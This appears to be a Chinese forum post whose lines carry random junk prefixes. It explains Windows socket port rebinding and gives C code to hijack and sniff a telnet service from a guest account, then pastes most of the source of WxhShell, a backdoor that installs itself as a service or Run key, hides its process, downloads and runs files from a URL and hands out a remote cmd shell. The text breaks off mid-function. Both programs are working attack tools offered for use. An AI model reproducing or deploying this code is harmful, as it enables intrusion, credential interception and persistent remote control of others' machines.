在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
9=^4p=1J s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Ed~2Qr\65 !;C *Wsp} saddr.sin_family = AF_INET;
kIUb`b>B (svd~h e2 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
MU&P+Wr u%Yr&u bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
xSHeP`P^X d~J4&w 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
?_c*(2i&^ wq&TU'O 这意味着什么?意味着可以进行如下的攻击:
lN^} qg>< [HhdeLOX 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
DPsf] 7e-l`] 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Y|iALrx $r=Ud > 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
G(~"Zt}? K:eP Il{JE 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
MoP0qNk pYs"Y;% 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
D ~Y3\KP l;g8_uyjv7 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
zZ=.riK .sDVBT'% 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
J5Tl62} e$^ O_e #include
"8"7AoE #include
7MT[fA8^ #include
6!n%SUt #include
?qQRA|n* DWORD WINAPI ClientThread(LPVOID lpParam);
"syf@[tz7 int main()
(HkMubnqg {
vx_v/pD WORD wVersionRequested;
=e,2/Ep{i DWORD ret;
` 0k WSADATA wsaData;
&?<o692 BOOL val;
a[GlqaQy+- SOCKADDR_IN saddr;
B/Lx, SOCKADDR_IN scaddr;
NY
ZPh%x int err;
3y?ig2 SOCKET s;
h^5'i}@u SOCKET sc;
HBL)_c{/O int caddsize;
;
. c]0 HANDLE mt;
}cE,&n DWORD tid;
BS#@ehdig wVersionRequested = MAKEWORD( 2, 2 );
T%xB|^lf err = WSAStartup( wVersionRequested, &wsaData );
X] /r'Tz if ( err != 0 ) {
<c{RY.1[ printf("error!WSAStartup failed!\n");
zrt8ze=Su return -1;
dt
4_x1 }
tsZrn saddr.sin_family = AF_INET;
W<3nF5! 65Ysg}x //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
@W^A%6"j _Ucj)Ud k saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
m4*Rr saddr.sin_port = htons(23);
TUiXE~8= if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
LRv-q{jP; {
HQ+:0"B printf("error!socket failed!\n");
w8(qiU return -1;
}9Z?UtS }
VWG#v#o val = TRUE;
^=wG#!#V"1 //SO_REUSEADDR选项就是可以实现端口重绑定的
Mnaoh:z if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
lFD$Mc {
$_l@k= printf("error!setsockopt failed!\n");
1HBch]J return -1;
|_%| }
#oi4!%*M //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
}{S W~yW //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
N.u)Mbe //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
H.Z:at5n _'dsEF if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
1DGVAIcD {
l9q
ygh ret=GetLastError();
bI=\n)sEz printf("error!bind failed!\n");
"S^;X
@#v return -1;
.) B _~tct }
Kig.hHj@ listen(s,2);
s0.yPA while(1)
*Rj>// A {
z8mR< q%` caddsize = sizeof(scaddr);
a)[XJLCQ //接受连接请求
gNzQ"W= sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
X1i6CEa< if(sc!=INVALID_SOCKET)
zie])_8|h {
JMOQDo mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
xZL`<3? if(mt==NULL)
!/['wv@ {
uyxU>yHV<g printf("Thread Creat Failed!\n");
oyJ/Oe
{ break;
ALwkX"AN }
IX^k<Jqr }
>3X!c"#l CloseHandle(mt);
V4 Pf?g }
l0u6nGkh closesocket(s);
.7Ys@;>B WSACleanup();
Y1Bj++?2 return 0;
Uz\B^"i| }
or~o' DWORD WINAPI ClientThread(LPVOID lpParam)
WUdKj {
OcMd'fwO SOCKET ss = (SOCKET)lpParam;
5}~*,_J2Z SOCKET sc;
9ToM5oQ unsigned char buf[4096];
netKt_ SOCKADDR_IN saddr;
I1&Z@[ long num;
n@5pS3qZ DWORD val;
M,t8<y4W/ DWORD ret;
AzN.vA)q //如果是隐藏端口应用的话,可以在此处加一些判断
DhY9)>4M //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
rc*&K#? B saddr.sin_family = AF_INET;
(Y'rEc#H&z saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Q{H88g^=J saddr.sin_port = htons(23);
~5`rv1$ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Yiu)0\ o {
*WfOB2rU printf("error!socket failed!\n");
)dJM return -1;
+fAAkO*GP }
x7l)i!/$ val = 100;
vf~q%+UqK if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
C\.? 3 {
FD#?pVyPn^ ret = GetLastError();
+sE8 1B return -1;
>?b/_O }
=@binTC4 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
~0|~Fg {
ZGzrh`j{- ret = GetLastError();
E[nW B"pxE return -1;
@p|[7' }
Q2^}NQO= if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
(bH "x {
.-`7Av+7 printf("error!socket connect failed!\n");
~{Tus.jk closesocket(sc);
)+oDa{dZ closesocket(ss);
Trbgg return -1;
6VQ*z8wLw }
d~S.PRg= while(1)
&>@nW!n
u {
HG=!#-$9 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
%I(N //如果是嗅探内容的话,可以再此处进行内容分析和记录
uc=-+*D'I //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
,, ]y 8P num = recv(ss,buf,4096,0);
[ #A!B#` if(num>0)
#rzxFMA" send(sc,buf,num,0);
(LTm!"Q else if(num==0)
M)I&^mm39 break;
WsJ3zZc num = recv(sc,buf,4096,0);
YqR
MVWcnk if(num>0)
\ zhT1#O send(ss,buf,num,0);
-:a
9'dT else if(num==0)
4zpprh+`K break;
f Nm
Sx }
/Kwo^Q{ closesocket(ss);
bX|Z||img closesocket(sc);
BA A)IQF return 0 ;
lp!@uoN^T }
sA3 4`ZAa "p#mNc F FR_1Vf ==========================================================
GLnj& Ve h+,zfVJu 下边附上一个代码,,WXhSHELL
?%;7k'0" .9lx@6]+ ==========================================================
46Nl];g1` WkXa%OZ #include "stdafx.h"
-AD3Pd|Y[ Xy_+L_h^ #include <stdio.h>
_D$|lk- #include <string.h>
Eae]s8ek9 #include <windows.h>
EtcAU}9 #include <winsock2.h>
+7^%fX;3pW #include <winsvc.h>
yGZb #include <urlmon.h>
fk#SD "iJ iKLN !QR #pragma comment (lib, "Ws2_32.lib")
P3on4c #pragma comment (lib, "urlmon.lib")
eMPi ho $MfHA~^ #define MAX_USER 100 // 最大客户端连接数
jGb+bN5U7 #define BUF_SOCK 200 // sock buffer
K> lA6i7? #define KEY_BUFF 255 // 输入 buffer
Y71io^td~j ,Tvk&<!0 #define REBOOT 0 // 重启
J6n@|L!yO #define SHUTDOWN 1 // 关机
,l&Dt, <^
@1wg #define DEF_PORT 5000 // 监听端口
zp!{u{ p#qQGJe #define REG_LEN 16 // 注册表键长度
9y>dDNM\< #define SVC_LEN 80 // NT服务名长度
(05/}PhB` ] 8+! // 从dll定义API
{"Van,w typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
U$# ?Lw typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
]
RN&s
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
7xMvf<1P typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
{tOu+zy aVNRhnM // wxhshell配置信息
)_,*2|b struct WSCFG {
rt_%_f>qd int ws_port; // 监听端口
#[qmhU{s char ws_passstr[REG_LEN]; // 口令
5T:e4U&
int ws_autoins; // 安装标记, 1=yes 0=no
}XX)U_x char ws_regname[REG_LEN]; // 注册表键名
l"f.eo0@7 char ws_svcname[REG_LEN]; // 服务名
^QpP' char ws_svcdisp[SVC_LEN]; // 服务显示名
1}Tbp_ char ws_svcdesc[SVC_LEN]; // 服务描述信息
UP58Cln* char ws_passmsg[SVC_LEN]; // 密码输入提示信息
=;l.<{<VH int ws_downexe; // 下载执行标记, 1=yes 0=no
l"W9uS;\T char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
K#%L6=t$< char ws_filenam[SVC_LEN]; // 下载后保存的文件名
I
^?TabL p3&/F=T;) };
V\W?@V9g- ~-.}]N+([ // default Wxhshell configuration
O6pswMhAc struct WSCFG wscfg={DEF_PORT,
Mi%i_T^i "xuhuanlingzhe",
P%8
Gaa= 1,
fFMGpibkM "Wxhshell",
T&oY:1D,g "Wxhshell",
aqQ
YU5l4~ "WxhShell Service",
F@1~aeX- "Wrsky Windows CmdShell Service",
3=RV Jb "Please Input Your Password: ",
=3]}87 1,
b^~ keQ "
http://www.wrsky.com/wxhshell.exe",
P(l$5x]g, "Wxhshell.exe"
^HgQ"dD
< };
Q>8F&p?R mKugb_d? // 消息定义模块
LBq~?Q.e char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
'Ybd'|t{} char *msg_ws_prompt="\n\r? for help\n\r#>";
jVC`38| char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
qsOA(+ZP char *msg_ws_ext="\n\rExit.";
V7U&8UPb char *msg_ws_end="\n\rQuit.";
#k&"Rv;, char *msg_ws_boot="\n\rReboot...";
[CL.Xil= char *msg_ws_poff="\n\rShutdown...";
]v(8i3P84 char *msg_ws_down="\n\rSave to ";
:hJHjh {;4Y5kj char *msg_ws_err="\n\rErr!";
Jr$,w7tQn@ char *msg_ws_ok="\n\rOK!";
Ls< ";QJc QkS~~|0EI> char ExeFile[MAX_PATH];
GvSSi'q~B int nUser = 0;
)h6hN"#V5 HANDLE handles[MAX_USER];
Px{Cvc int OsIsNt;
o=}}hE\H ^,*ED Yz SERVICE_STATUS serviceStatus;
f4UnLig SERVICE_STATUS_HANDLE hServiceStatusHandle;
JL[$B1 0zQ"5e?qy // 函数声明
ZKy)F-yX int Install(void);
q,`"Z)97 int Uninstall(void);
d3-F?i
5d int DownloadFile(char *sURL, SOCKET wsh);
1/X@~ int Boot(int flag);
PP)iw@9j void HideProc(void);
$mdmuUIy-3 int GetOsVer(void);
3<}\{ jT int Wxhshell(SOCKET wsl);
O<7Q>m void TalkWithClient(void *cs);
!~Vo'ykwx' int CmdShell(SOCKET sock);
&.XlXihnt int StartFromService(void);
~e*3_l>9 int StartWxhshell(LPSTR lpCmdLine);
.1n=&d| iO1ir+B\ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
kt`_n+G VOID WINAPI NTServiceHandler( DWORD fdwControl );
OAJGwm mN^w?R41m // 数据结构和表定义
I@Cq<:+(3 SERVICE_TABLE_ENTRY DispatchTable[] =
~tK4C | {
rPhx^
QKH2 {wscfg.ws_svcname, NTServiceMain},
p]h;M {NULL, NULL}
sZe$?k| };
8(-V pU ^*sDJ # // 自我安装
z=mH\! int Install(void)
tfB}U. {
X$*MxMNs char svExeFile[MAX_PATH];
x}\x3U HKEY key;
f>*T0"\c strcpy(svExeFile,ExeFile);
A*+pGQ ]oT8H?%*Y // 如果是win9x系统,修改注册表设为自启动
K[wny0 ( if(!OsIsNt) {
+cH,2 ^& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
5OEo(& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
y7CC5S?
RegCloseKey(key);
a ?D]]0% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
MoAie|MKe RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
/{1s U}k- RegCloseKey(key);
ga?:k,xv return 0;
{!RDb'Zp }
@*?)S{8 }
6HroKu }
k+9*7y8w else {
Z9
z!YaOL r]q;>\T' // 如果是NT以上系统,安装为系统服务
`iHyGfm SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
YnR8mVo5Q if (schSCManager!=0)
(g" {A {
8y:/!rRN SC_HANDLE schService = CreateService
KA
$jG{yq (
bG0
|+k3O schSCManager,
sNaLz wscfg.ws_svcname,
M)x6m|.= wscfg.ws_svcdisp,
e
p jb SERVICE_ALL_ACCESS,
m}UcF oaO SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
zH"a>+st= SERVICE_AUTO_START,
(Q5rOrA" SERVICE_ERROR_NORMAL,
5!QT
}Um svExeFile,
#ovausK[7 NULL,
kM6i{{Q NULL,
zA%YaekJ NULL,
Cn"_x NULL,
^fiJxU NULL
# &,W x );
e{Q;,jsh if (schService!=0)
2LfiaHO {
3_ bE12 CloseServiceHandle(schService);
v)p'0F#6A CloseServiceHandle(schSCManager);
p<
Y-b,& strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Ux,?\Vd strcat(svExeFile,wscfg.ws_svcname);
eOoqH$
i if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
OV
G|WC RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
pV8_i7\ RegCloseKey(key);
Z~0TO-Q return 0;
{+~ JTrp }
!>:SPt l }
u^O!5 'D% CloseServiceHandle(schSCManager);
nt&"?
/s }
^B_SAZ&%% }
+\doF jn
5v return 1;
rp
'^]Zx }
.5" s[(S 8J#U=qYei // 自我卸载
oVTXn=cYDp int Uninstall(void)
S$O5jX 0 {
+v2)'?BS HKEY key;
{RGQX"k _Sg "|g if(!OsIsNt) {
z`qb>Y"xf3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Z2U6<4?1% RegDeleteValue(key,wscfg.ws_regname);
zv7)JH7EV& RegCloseKey(key);
BTzBT%mP if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
~.tl7wKkR/ RegDeleteValue(key,wscfg.ws_regname);
x?UAj8z6 RegCloseKey(key);
/1v:eoF; return 0;
eZoAy[ }
+7Uv|LZ~@ }
fN1b+d~*6 }
!kG |BJ$j else {
k|czQ"vaI DfU]+;AE SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
?I8r2M] if (schSCManager!=0)
_dY5qW1p {
MQQQaD:v SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
nC%<BatQ if (schService!=0)
VKtlAfXy~ {
.kU}x3m if(DeleteService(schService)!=0) {
C hQ] d CloseServiceHandle(schService);
(rc7Cp3 CloseServiceHandle(schSCManager);
MgP&9 return 0;
`W >Sss }
m68>` CloseServiceHandle(schService);
3-=AmRxW't }
M&jlUr&l CloseServiceHandle(schSCManager);
x=Aq5*A0 }
*8J0yv }
NBXhcfF 9Trk&OB return 1;
'`YZJ }
K^6d_b& ~F53{qxV // 从指定url下载文件
`M*jrkM]x int DownloadFile(char *sURL, SOCKET wsh)
`T+w5ONn {
jXVvVv HRESULT hr;
@tJ4^<`P{ char seps[]= "/";
r7sA;Y\ char *token;
Sgr. V) char *file;
E]v]fy" char myURL[MAX_PATH];
sq;!5qK char myFILE[MAX_PATH];
eIEL';N6 @eZBwFe strcpy(myURL,sURL);
"hQGk token=strtok(myURL,seps);
$bD`B'5 while(token!=NULL)
gkX7,J-0 {
tUuARo7# file=token;
d/T&J= token=strtok(NULL,seps);
d``wx}#Uk }
IRdR3X56 0l4f%'f GetCurrentDirectory(MAX_PATH,myFILE);
J>k
6`gw strcat(myFILE, "\\");
&]Uo>Gb3!q strcat(myFILE, file);
nbB*d@" send(wsh,myFILE,strlen(myFILE),0);
|d z2Drc send(wsh,"...",3,0);
BG8/ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
C=|8C70[%N if(hr==S_OK)
]=%6n@z' return 0;
eX>*}pI else
SSxz1y return 1;
w[D]\>QHa .P`QCH;Ih }
hkyO_ns j>e RV ol // 系统电源模块
dC8}Ttc} int Boot(int flag)
liG|#ny{ {
[=BMvP5 HANDLE hToken;
O) TS$ TOKEN_PRIVILEGES tkp;
Z:<an+v|5 3z, Ci$[ if(OsIsNt) {
@D!*@M6 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
n((A:b LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Y8^WuN$ tkp.PrivilegeCount = 1;
A^p{Cq@E tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
BdiV AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
lz::6} if(flag==REBOOT) {
s*_fRf: if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
UPP"-`t return 0;
XXhN;-p }
Ll-QhcC$ else {
SASLeGaV if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
TTFs|T6`q return 0;
^H7xFd|> }
`'^o45 }
hd i0YL else {
g`Cv[Pq?at if(flag==REBOOT) {
$i6z)]rjg if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
},#7 return 0;
^e <E/j{~ }
[FrLxU else {
8Z_ 4%vUBg if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
9&uf
return 0;
pqb`g@ }
qB,0(I1-! }
^9Cu?!xu0 'fGKRd|) return 1;
'8\9@wzv }
?>7-a~*A@ 9M3"'^ {$ // win9x进程隐藏模块
/5/gnpC void HideProc(void)
3 (\D.Z {
KK3iui NU?<bIQ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
c AO:fb7 if ( hKernel != NULL )
>;hAw!|# {
CYQ)'v pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
c`p'5qz ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
t"YsIOT:O" FreeLibrary(hKernel);
k_,&
Q?GtU }
(DY[OIHI ^i Jyo&I return;
<=&$+3r }
bKGX>
%- ;m#4Q6k)V? // 获取操作系统版本
z)U7 int GetOsVer(void)
r
*6S1bW {
Ze8.+Ee OSVERSIONINFO winfo;
}.E^_` winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
e%L[bGW' GetVersionEx(&winfo);
YfB)TK\W9/ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
1S!}su,uH return 1;
^7gKs2M else
oC49c~`8 return 0;
1u7D:h># }
|,:p[Oy 8$A0q%n // 客户端句柄模块
;J TY#)Bh int Wxhshell(SOCKET wsl)
mc8Q2eQat} {
Z;81" SOCKET wsh;
k:run2K struct sockaddr_in client;
<MkvlLu((o DWORD myID;
8\{z>y aMY@**^v while(nUser<MAX_USER)
:R=6Ku> {
0jlM~ H int nSize=sizeof(client);
X1`3KqK<9 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
c_*w<vJ-' if(wsh==INVALID_SOCKET) return 1;
GIxs>E'X jL^@;"/XhC handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
jb&MC2 if(handles[nUser]==0)
e~zgH\` closesocket(wsh);
{@)ZXg else
XyE$0i~t nUser++;
4/`;(*]Fv }
O8$~dzf,2 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
m
=b7
r >lUPOc return 0;
"nu]3zcd }
;un@E: }u
O YF // 关闭 socket
[m0X kvd void CloseIt(SOCKET wsh)
[5?Dov^j3 {
d2#NRqgQ closesocket(wsh);
cZ:jht nUser--;
%5gdLm!p ExitThread(0);
==m[t-
9x }
WSH[*jMA . &j+& // 客户端请求句柄
z eT`kZ void TalkWithClient(void *cs)
-9t"$)& {
Tt)z[^)% T{C;bf:Q SOCKET wsh=(SOCKET)cs;
-t|/g5.w_ char pwd[SVC_LEN];
&/WM:]^?0) char cmd[KEY_BUFF];
MZ,1 mR char chr[1];
8eS(gKD int i,j;
)dhR&@r*w F1@Po1VTD while (nUser < MAX_USER) {
G9Uc
}z xjo`u:BH if(wscfg.ws_passstr) {
`-pwP if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
S"h;u=5it //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
KM?4J6jH //ZeroMemory(pwd,KEY_BUFF);
w g?}c ;
i=0;
W`Gbo
uxd while(i<SVC_LEN) {
H 1kI+YJ@ [G|. // 设置超时
gE2(E0H fd_set FdRead;
1WMZ$vsQUb struct timeval TimeOut;
Ol }5ry FD_ZERO(&FdRead);
G)?*BH FD_SET(wsh,&FdRead);
F5Xb_&
TimeOut.tv_sec=8;
DPzW,aIgv TimeOut.tv_usec=0;
4@-tT;$ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
)-3~^Y#r_ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
:.*Q@X}-I gS+X% if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
pKc!sdC pwd
=chr[0]; G7 UUx+ X
if(chr[0]==0xd || chr[0]==0xa) { AhF@
pwd=0; zas&gsl-;
break; kT@ITA22
} o&1mX
i++; eVf D&&@
} ydzsJ+dx
tw$EwNI[
// 如果是非法用户,关闭 socket 9xK>fM&u
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5?>4I"ne
} lKejWT`;
k={D!4kKz
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); F+H]{ss>
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gGVt( ^
7p.8{zQ*
while(1) { Z?o0Q\}1
Qf=^CQ=lV
ZeroMemory(cmd,KEY_BUFF); 8?nn4]P
-t4:%-wv
// 自动支持客户端 telnet标准 cn} CI
j=0; 7He"IJ
while(j<KEY_BUFF) { "rn
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s=jmvvs_V}
cmd[j]=chr[0]; W]D YfR,
if(chr[0]==0xa || chr[0]==0xd) { :g|.x
cmd[j]=0; 6-wpR
break; 'bl9fO4v
} ;I*t5{
j++; 1!1JT;gG^9
} jv~#'=T'
j-1V,V=
// 下载文件 1/9*c *w
if(strstr(cmd,"http://")) { #-B<u-
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0OHXg=
if(DownloadFile(cmd,wsh)) D=a*Xu2zq
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \;0pjxq=
else ZvF#J_%gE5
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O<s7VHj
} 7-B|B{]
else { 4xW~@meNB
66?`7j X
switch(cmd[0]) { T/|!^qLF
HMUx/M.j
// 帮助 /1LN\Eu
case '?': { !b`fykC
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); DLbP$&o
break; -I5]#%eX^
} !6|_`l>G,
// 安装 2*D2jw
case 'i': { m%J?5rR3
if(Install()) [6VM4l"
send(wsh,msg_ws_err,strlen(msg_ws_err),0); c_qox
else ^IiA(?8
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 28^/By:J
break; _(f@b1O~
} l^R:W#*+U
// 卸载 O;VqrO
case 'r': { 8x1!15Wiz
if(Uninstall()) e Fs5l
send(wsh,msg_ws_err,strlen(msg_ws_err),0); b$Hbo;_
else On);SN'
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DH.`
break; |h $Gs2
} ^r}Uu~A>
// 显示 wxhshell 所在路径 x}a?B
case 'p': { G:b6Wf
char svExeFile[MAX_PATH]; %.
((4 6)
strcpy(svExeFile,"\n\r"); nycJZ}f:wP
strcat(svExeFile,ExeFile); ~*EipxhstJ
send(wsh,svExeFile,strlen(svExeFile),0); bP$e1I3`
break; EUw4$Jt^p
} Aa1#Ew<r
// 重启 S3x^#83
case 'b': { `GqF/?i
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |u`YT;`!"-
if(Boot(REBOOT))
[uqr
send(wsh,msg_ws_err,strlen(msg_ws_err),0); FsUH/Y
y
else { '(r?($s
closesocket(wsh); h(q4
B~
ExitThread(0); ;,Vdj[W$>
} f|~'(~Sr
break; d3E N0e+^
} j\KOKvY)
// 关机 hlyh8=Z6o
case 'd': { GX19GI@k
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3 a(SmM:
if(Boot(SHUTDOWN)) t#M[w|5?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &z3_N
else { 7oLl RU
closesocket(wsh); ~*h)`uM
ExitThread(0); u@Gum|_=N
} 71Q`B#t0'Z
break; 5D3&E_S
} q:>`|~MX
// 获取shell )`k+Oyvi<
case 's': { ~+ae68{p
CmdShell(wsh); c5f57Z
closesocket(wsh); o r ~@!
ExitThread(0); z1RHdu0;z
break; vIi&D;
} ]nV_K}!w
// 退出 g0~m[[
case 'x': { fm^tU0DY
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); S%]4['Y
CloseIt(wsh); hBZh0xy
break; 9[{q5
} ;,/G*`81B
// 离开 6UN{Vjr%`
case 'q': { L) _ VdB
send(wsh,msg_ws_end,strlen(msg_ws_end),0); E]{0lG`l
closesocket(wsh); !
,]Fx
WSACleanup(); U2_;
exit(1); %LdBO1D0
break; zxv y&
} !`U #Pjp.
} BR6HD7G
} V!e`P
ctb
, w
// 提示信息 $ ga,$G
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UWCm:eRQ
} GYT0zMMf
} ,^iT,MgNNf
dg N#"
return; kad$Fp39
} /KiaLS
Q Na*Y@i
// shell模块句柄 `EP-Qlm
int CmdShell(SOCKET sock) A?ESjMy(R
{ 1{xkAy0
STARTUPINFO si; &@&^k$du8q
ZeroMemory(&si,sizeof(si)); GO#eI]>/r
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8r.MODZG/
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; CZv^,O(M?2
PROCESS_INFORMATION ProcessInfo; 2JHF*zvO-
char cmdline[]="cmd"; TTxSl p2=;
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); kvN6K6
return 0; tN)Vpb\J
} :d~&Dt<c
h=cA]^:=
// 自身启动模式 ||Wg'$3
int StartFromService(void) YBk* CW9
{ {6*UtG
typedef struct {>&M:_`k
{ z\IZ5'
DWORD ExitStatus; \y/0)NL\
DWORD PebBaseAddress; 6`'K M/
